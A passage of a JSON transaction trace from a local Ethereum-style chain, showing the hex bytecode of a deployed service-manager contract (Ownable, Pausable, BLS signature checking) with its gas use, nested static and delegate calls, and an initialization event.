1b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757071690639926ee7d906128679085908590600401615a97565b600060405180830381600087803b15801561288157600080fd5b505af1158015612895573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146128e55760405162461bcd60e51b81526004016102b9906159d9565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a364f4da906024015b600060405180830381600087803b15801561294957600080fd5b505af115801561295d573d6000803e3d6000fd5b5050505050565b61296c61413a565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a98fb3559061292f908490600401615ae2565b60cb546001600160a01b031633146129f85760cb54604051632cbe419560e01b81523360048201526001600160a01b0390911660248201526044016102b9565b60fc54600190600290811603612a205760405162461bcd60e51b81526004016102b990614b81565b60005a905060008585604051602001612a3a9291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612a8f576040516311cb69a760e11b8152600481018390526024016102b9565b8054640100000000900460ff1615612abd57604051634e78d7f960e11b8152600481018390526024016102b9565b805464ff00000000191664010000000017815560018101546001600160a01b038716600090815260ca60205260409020541015612b405760018101546001600160a01b038716600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482019290925260448101919091526064016102b9565b8054600090612b5790849063ffffffff16886116fd565b509050604360ff168160200151600081518110612b7657612b766157ab565b6020026020010151612b889190615af5565b6001600160601b031660648260000151600081518110612baa57612baa6157ab565b60200260200101516001600160601b0316612bc59190615b18565b1015612c585760648160000151600081518110612be457612be46157ab565b60200260200101516001600160601b0316612bff9190615b18565b604360ff168260200151600081518110612c1b57612c1b6157ab565b6020026020010151612c2d9190615af5565b60405163530f5c4560e11b815260048101929092526001600160601b031660248201526044016102b9565b6040516001600160a01b038816815288907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a612ca49087615831565b612cb190620111706156b1565b612cbb9190615b18565b9050600083600101548210612cd4578360010154612cd6565b815b6001600160a01b038a16600090815260ca6020526040812080549293508392909190612d03908490615831565b90915550506001600160a01b038916600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612d7d573d6000803e3d6000fd5b5050505050505050505050565b612d9261413a565b60cc55565b60fc54600090600190811603612dbf5760405162461bcd60e51b81526004016102b990614b81565b60008533604051602001612dd49291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612e2357604051630c40bc4360e21b8152600481018290526024016102b9565b3415612e805733600090815260ca602052604081208054349290612e489084906156b1565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25b33600090815260ca6020526040902054831115612ed15733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820185905260448201526064016102b9565b604080516060810182526000602080830182815263ffffffff4381811686528587018a815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909188917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612f69913391908b908b908b90615b2f565b60405180910390a250505050505050565b606060007f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130009190615886565b60ff1690508060000361302157505060408051600081526020810190915290565b6000805b828110156130cc57604051633ca5a5f560e01b815260ff821660048201527f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031690633ca5a5f590602401602060405180830381865afa158015613094573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b89190615844565b6130c290836156b1565b9150600101613025565b506000816001600160401b038111156130e7576130e7614bd0565b604051908082528060200260200182016040528015613110578160200160208202803683370190505b5090506000805b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131999190615886565b60ff1681101561331c57604051633ca5a5f560e01b815260ff821660048201526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031690633ca5a5f590602401602060405180830381865afa15801561320d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132319190615844565b905060005b81811015613312576040516356e4026d60e11b815260ff84166004820152602481018290527f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b03169063adc804da906044016040805180830381865afa1580156132ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132cf91906158b8565b600001518585815181106132e5576132e56157ab565b6001600160a01b039092166020928302919091019091015283613307816158f9565b945050600101613236565b5050600101613117565b5090949350505050565b61332e61413a565b6001600160a01b0381166133935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b610c1581614628565b600054610100900460ff16158080156133bc5750600054600160ff909116105b806133d65750303b1580156133d6575060005460ff166001145b6133f25760405162461bcd60e51b81526004016102b9906157e3565b6000805460ff191660011790558015613415576000805461ff0019166101001790555b6001600160a01b03861661345b57604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b60448201526064016102b9565b6001600160a01b0385166134a557604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b60448201526064016102b9565b6001600160a01b0384166134f057604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b60448201526064016102b9565b6134fa868661467a565b60cb80546001600160a01b0319166001600160a01b03861617905561351e86614628565b6135288383614194565b8015612895576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050565b61357d61413a565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b60fc546000906002906004908116036135ca5760405162461bcd60e51b81526004016102b990614b81565b6040516306045a9160e01b815230906306045a91906135fc908c908c908c908c908c908c908c90600090600401615b86565b602060405180830381865afa158015613619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061363d9190615746565b9998505050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561369d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136c191906156df565b6001600160a01b0316336001600160a01b0316146136f15760405162461bcd60e51b81526004016102b9906156fc565b60fc5419811960fc5419161461376f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610d4c565b6065546001600160a01b0316331461383b5760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a4016102b9565b60005b81811015613b0657828282818110613858576138586157ab565b905060200281019061386a9190615be8565b61387b906040810190602001614d86565b6001600160a01b03166323b872dd333086868681811061389d5761389d6157ab565b90506020028101906138af9190615be8565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af1158015613906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061392a9190615746565b50600083838381811061393f5761393f6157ab565b90506020028101906139519190615be8565b613962906040810190602001614d86565b604051636eb1769f60e11b81523060048201526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f81166024830152919091169063dd62ed3e90604401602060405180830381865afa1580156139d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139f49190615844565b9050838383818110613a0857613a086157ab565b9050602002810190613a1a9190615be8565b613a2b906040810190602001614d86565b6001600160a01b031663095ea7b37f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f83878787818110613a6d57613a6d6157ab565b9050602002810190613a7f9190615be8565b60400135613a8d91906156b1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015613ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613afc9190615746565b505060010161383e565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f169063fce36c7d906128679085908590600401615c6e565b613b5d61413a565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613baa8685856146f7565b1495945050505050565b6001600160a01b038116613c425760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a4016102b9565b60fb54604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a160fb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040805180820190915260008082526020820152613cc7614aa7565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa90508080613cf657fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016102b9565b505092915050565b6040805180820190915260008082526020820152613d58614ac5565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa90508080613d9357fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016102b9565b613dd9614ae3565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b604080518082019091526000808252602082015260008080613ec1600080516020615d9e833981519152866157c1565b90505b613ecd816147f4565b9093509150600080516020615d9e8339815191528283098303613f06576040805180820190915290815260208101919091529392505050565b600080516020615d9e833981519152600182089050613ec4565b604080518082018252868152602080820186905282518084019093528683528201849052600091829190613f52614b08565b60005b600281101561410d576000613f6b826006615b18565b9050848260028110613f7f57613f7f6157ab565b60200201515183613f918360006156b1565b600c8110613fa157613fa16157ab565b6020020152848260028110613fb857613fb86157ab565b60200201516020015183826001613fcf91906156b1565b600c8110613fdf57613fdf6157ab565b6020020152838260028110613ff657613ff66157ab565b60200201515151836140098360026156b1565b600c8110614019576140196157ab565b6020020152838260028110614030576140306157ab565b60200201515160016020020151836140498360036156b1565b600c8110614059576140596157ab565b6020020152838260028110614070576140706157ab565b60200201516020015160006002811061408b5761408b6157ab565b60200201518361409c8360046156b1565b600c81106140ac576140ac6157ab565b60200201528382600281106140c3576140c36157ab565b6020020151602001516001600281106140de576140de6157ab565b6020020151836140ef8360056156b1565b600c81106140ff576140ff6157ab565b602002015250600101613f55565b50614116614b27565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b0316331461270a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b9565b60fb546001600160a01b03161580156141b557506001600160a01b03821615155b6142375760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a4016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26116f982613bb4565b60606000806142888461447f565b61ffff166001600160401b038111156142a3576142a3614bd0565b6040519080825280601f01601f1916602001820160405280156142cd576020820181803683370190505b5090506000805b8251821080156142e5575061010081105b1561331c576001811b93508584161561432c578060f81b83838151811061430e5761430e6157ab565b60200101906001600160f81b031916908160001a9053508160010191505b614335816158f9565b90506142d4565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b6000806143f884614876565b9050808360ff166001901b116144765760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c75650060648201526084016102b9565b90505b92915050565b6000805b821561447957614494600184615831565b90921691806144a281615d7c565b915050614483565b60408051808201909152600080825260208201526102008261ffff16106145065760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b60448201526064016102b9565b8161ffff16600103614519575081614479565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff161061458257600161ffff871660ff83161c81169003614565576145628484613d3c565b93505b61456f8384613d3c565b92506201fffe600192831b169101614535565b509195945050505050565b604080518082019091526000808252602082015281511580156145b257506020820151155b156145d0575050604080518082019091526000808252602082015290565b604051806040016040528083600001518152602001600080516020615d9e833981519152846020015161460391906157c1565b61461b90600080516020615d9e833981519152615831565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff166146e55760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016102b9565b6146ee82614628565b6116f98161433c565b60006020845161470791906157c1565b1561478e5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a4016102b9565b8260205b8551811161129c576147a56002856157c1565b6000036147c9578160005280860151602052604060002091506002840493506147e2565b8086015160005281602052604060002091506002840493505b6147ed6020826156b1565b9050614792565b60008080600080516020615d9e8339815191526003600080516020615d9e83398151915286600080516020615d9e83398151915288890909089050600061486a827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615d9e8339815191526149fe565b91959194509092505050565b6000610100825111156148ff5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a4016102b9565b815160000361491057506000919050565b60008083600081518110614926576149266157ab565b0160200151600160f89190911c81901b92505b84518110156149f557848181518110614954576149546157ab565b0160200151600160f89190911c1b91508282116149e95760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a4016102b9565b91811791600101614939565b50909392505050565b600080614a09614b27565b614a11614b45565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280614a4e57fe5b5082614a9c5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c75726500000000000060448201526064016102b9565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280614af6614b63565b8152602001614b03614b63565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b80356001600160601b03198116811461462357600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715614c0857614c08614bd0565b60405290565b60405161010081016001600160401b0381118282101715614c0857614c08614bd0565b604051601f8201601f191681016001600160401b0381118282101715614c5957614c59614bd0565b604052919050565b60006001600160401b03831115614c7a57614c7a614bd0565b614c8d601f8401601f1916602001614c31565b9050828152838383011115614ca157600080fd5b828260208301376000602084830101529392505050565b600082601f830112614cc957600080fd5b614cd883833560208501614c61565b9392505050565b6001600160a01b0381168114610c1557600080fd5b600080600080600080600080610100898b031215614d1157600080fd5b883597506020890135965060408901359550614d2f60608a01614bb8565b94506080890135935060a08901356001600160401b03811115614d5157600080fd5b614d5d8b828c01614cb8565b93505060c0890135915060e0890135614d7581614cdf565b809150509295985092959890939650565b600060208284031215614d9857600080fd5b813561447681614cdf565b600060208284031215614db557600080fd5b5035919050565b60ff81168114610c1557600080fd5b600060208284031215614ddd57600080fd5b813561447681614dbc565b600060408284031215614dfa57600080fd5b614e02614be6565b9050813581526020820135602082015292915050565b600082601f830112614e2957600080fd5b614e31614be6565b806040840185811115614e4357600080fd5b845b81811015614e5d578035845260209384019301614e45565b509095945050505050565b600060808284031215614e7a57600080fd5b614e82614be6565b9050614e8e8383614e18565b8152614e9d8360408401614e18565b602082015292915050565b6000806000806101208587031215614ebf57600080fd5b84359350614ed08660208701614de8565b9250614edf8660608701614e68565b9150614eee8660e08701614de8565b905092959194509250565b60008060408385031215614f0c57600080fd5b8235614f1781614cdf565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b81811015614f665783516001600160a01b031683529284019291840191600101614f41565b50909695505050505050565b8015158114610c1557600080fd5b600060208284031215614f9257600080fd5b813561447681614f72565b803563ffffffff8116811461462357600080fd5b60006001600160401b03821115614fca57614fca614bd0565b5060051b60200190565b600082601f830112614fe557600080fd5b81356020614ffa614ff583614fb1565b614c31565b8083825260208201915060208460051b87010193508684111561501c57600080fd5b602086015b8481101561503f5761503281614f9d565b8352918301918301615021565b509695505050505050565b600082601f83011261505b57600080fd5b8135602061506b614ff583614fb1565b8083825260208201915060208460061b87010193508684111561508d57600080fd5b602086015b8481101561503f576150a48882614de8565b835291830191604001615092565b600082601f8301126150c357600080fd5b813560206150d3614ff583614fb1565b82815260059290921b840181019181810190868411156150f257600080fd5b8286015b8481101561503f5780356001600160401b038111156151155760008081fd5b6151238986838b0101614fd4565b8452509183019183016150f6565b6000610180828403121561514457600080fd5b61514c614c0e565b905081356001600160401b038082111561516557600080fd5b61517185838601614fd4565b8352602084013591508082111561518757600080fd5b6151938583860161504a565b602084015260408401359150808211156151ac57600080fd5b6151b88583860161504a565b60408401526151ca8560608601614e68565b60608401526151dc8560e08601614de8565b60808401526101208401359150808211156151f657600080fd5b61520285838601614fd4565b60a084015261014084013591508082111561521c57600080fd5b61522885838601614fd4565b60c084015261016084013591508082111561524257600080fd5b5061524f848285016150b2565b60e08301525092915050565b60008060006060848603121561527057600080fd5b8335925061528060208501614f9d565b915060408401356001600160401b0381111561529b57600080fd5b6152a786828701615131565b9150509250925092565b60008151808452602080850194506020840160005b838110156152eb5781516001600160601b0316875295820195908201906001016152c6565b509495945050505050565b604081526000835160408084015261531160808401826152b1565b90506020850151603f1984830301606085015261532e82826152b1565b925050508260208301529392505050565b60008083601f84011261535157600080fd5b5081356001600160401b0381111561536857600080fd5b60208301915083602082850101111561538057600080fd5b9250929050565b60008060006040848603121561539c57600080fd5b83356001600160401b038111156153b257600080fd5b6153be8682870161533f565b909790965060209590950135949350505050565b600080604083850312156153e557600080fd5b82356153f081614cdf565b915060208301356001600160401b038082111561540c57600080fd5b908401906060828703121561542057600080fd5b60405160608101818110838211171561543b5761543b614bd0565b60405282358281111561544d57600080fd5b61545988828601614cb8565b82525060208301356020820152604083013560408201528093505050509250929050565b60006020828403121561548f57600080fd5b81356001600160401b038111156154a557600080fd5b8201601f810184136154b657600080fd5b6154c584823560208401614c61565b949350505050565b6000806000606084860312156154e257600080fd5b83359250602084013561528081614cdf565b6000806000806060858703121561550a57600080fd5b8435935060208501356001600160401b0381111561552757600080fd5b6155338782880161533f565b9598909750949560400135949350505050565b600080600080600060a0868803121561555e57600080fd5b853561556981614cdf565b9450602086013561557981614cdf565b9350604086013561558981614cdf565b9250606086013561559981614cdf565b949793965091946080013592915050565b600080600080600080600060e0888a0312156155c557600080fd5b8735965060208801359550604088013594506155e360608901614bb8565b93506080880135925060a08801356001600160401b0381111561560557600080fd5b6156118a828b01614cb8565b92505060c0880135905092959891949750929550565b6000806020838503121561563a57600080fd5b82356001600160401b038082111561565157600080fd5b818501915085601f83011261566557600080fd5b81358181111561567457600080fd5b8660208260051b850101111561568957600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156144795761447961569b565b91825260601b6001600160601b031916602082015260340190565b6000602082840312156156f157600080fd5b815161447681614cdf565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561575857600080fd5b815161447681614f72565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000826157de57634e487b7160e01b600052601260045260246000fd5b500690565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b818103818111156144795761447961569b565b60006020828403121561585657600080fd5b5051919050565b60006020828403121561586f57600080fd5b81516001600160c01b038116811461447657600080fd5b60006020828403121561589857600080fd5b815161447681614dbc565b6001600160601b0381168114610c1557600080fd5b6000604082840312156158ca57600080fd5b6158d2614be6565b82516158dd81614cdf565b815260208301516158ed816158a3565b60208201529392505050565b60006001820161590b5761590b61569b565b5060010190565b60006020828403121561592457600080fd5b815167ffffffffffffffff198116811461447657600080fd5b60006020828403121561594f57600080fd5b8151614476816158a3565b6001600160601b0382811682821603908082111561597a5761597a61569b565b5092915050565b63ffffffff60e01b8360e01b1681526000600482018351602080860160005b838110156159bc578151855293820193908201906001016159a0565b5092979650505050505050565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b81811015615a7757602081850181015186830182015201615a5b565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b0383168152604060208201526000825160606040840152615ac160a0840182615a51565b90506020840151606084015260408401516080840152809150509392505050565b602081526000614cd86020830184615a51565b6001600160601b03818116838216028082169190828114613d3457613d3461569b565b80820281158282048414176144795761447961569b565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b60006101008a83528960208401528860408401526001600160601b0319881660608401528660808401528060a0840152615bc281840187615a51565b60c084019590955250506001600160a01b039190911660e0909101529695505050505050565b60008235609e19833603018112615bfe57600080fd5b9190910192915050565b803561462381614cdf565b8183526000602080850194508260005b858110156152eb578135615c3681614cdf565b6001600160a01b0316875281830135615c4e816158a3565b6001600160601b0316878401526040968701969190910190600101615c23565b60208082528181018390526000906040808401600586901b8501820187855b88811015615d6e57878303603f190184528135368b9003609e19018112615cb357600080fd5b8a0160a0813536839003601e19018112615ccc57600080fd5b820188810190356001600160401b03811115615ce757600080fd5b8060061b3603821315615cf957600080fd5b828752615d098388018284615c13565b92505050615d18888301615c08565b6001600160a01b03168886015281870135878601526060615d3a818401614f9d565b63ffffffff16908601526080615d51838201614f9d565b63ffffffff16950194909452509285019290850190600101615c8d565b509098975050505050505050565b600061ffff808316818103615d9357615d9361569b565b600101939250505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212205998fafeb5eab20d19cf0bd86f2eecb1e9eff99b69e6178a9513067dd2808c5564736f6c63430008180033","gas_used":4876524,"gas_limit":6470904,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0},{"Call":1},{"Call":2}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0x68304835","output":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","gas_used":7645,"gas_limit":6343323,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xf5059a5d33d5853360d16c683c16e67980206f36","address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x68304835","output":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","gas_used":350,"gas_limit":6237068,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]},{"parent":0,"children":[4],"idx":3,"trace":{"depth":1,"success":true,"caller":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0x5df45946","output":"0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","gas_used":1101,"gas_limit":6335331,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":3,"children":[],"idx":4,"trace":{"depth":2,"success":true,"caller":"0xf5059a5d33d5853360d16c683c16e67980206f36","address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x5df45946","output":"0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","gas_used":306,"gas_limit":6235600,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]},{"parent":0,"children":[6],"idx":5,"trace":{"depth":1,"success":true,"caller":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0xdf5cf723","output":"0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","gas_used":7622,"gas_limit":6331316,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":5,"children":[],"idx":6,"trace":{"depth":2,"success":true,"caller":"0x998abeb3e57409262ae5b751f60747921b33613e","address":"0x0e801d84fa97b50751dbf25036d067dcf18858bf","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdf5cf723","output":"0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","gas_used":327,"gas_limit":6225249,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x60806040526004361061028c5760003560e01c8063800fb61f1161015a578063df5cf723116100c1578063f9120af61161007a578063f9120af6146108f3578063fa534dc014610913578063fabc1cbc14610933578063fc299dee14610953578063fce36c7d14610973578063fd4c3b7c1461099357600080fd5b8063df5cf72314610827578063e481af9d1461085b578063ea5ca34b14610870578063f2fde38b14610886578063f474b520146108a6578063f7013ef6146108d357600080fd5b8063a98fb35511610113578063a98fb35514610730578063ab21739a14610750578063b099627e14610770578063b753645e146107da578063b98d0908146107fa578063d66eaabd1461081457600080fd5b8063800fb61f14610672578063886f1195146106925780638da5cb5b146106b257806395c6d604146106d05780639926ee7d146106f0578063a364f4da1461071057600080fd5b80634223d551116101fe5780635df45946116101b75780635df4594614610558578063683048351461058c5780636b3aa72e146105c05780636d14a987146105f357806370a0823114610627578063715018a61461065d57600080fd5b80634223d5511461047b5780634a5bf6321461048e5780634ae07c37146104c6578063595c6a67146104f45780635ac86ab7146105095780635c975abb1461053957600080fd5b806318daeeaf1161025057806318daeeaf146103ae5780632585b25b146103ce5780632e1a7d4d146103ee57806333cfb7b71461040e5780633bc28c8c1461043b578063416c7e5e1461045b57600080fd5b806306045a91146102d357806310d67a2f14610308578063136439dd14610328578063137122b514610348578063171f1d5b1461037757600080fd5b366102ce5760fc546005906020908116036102c25760405162461bcd60e51b81526004016102b990614b81565b60405180910390fd5b6102cc33346109b3565b005b600080fd5b3480156102df57600080fd5b506102f36102ee366004614cf4565b610a43565b60405190151581526020015b60405180910390f35b34801561031457600080fd5b506102cc610323366004614d86565b610b65565b34801561033457600080fd5b506102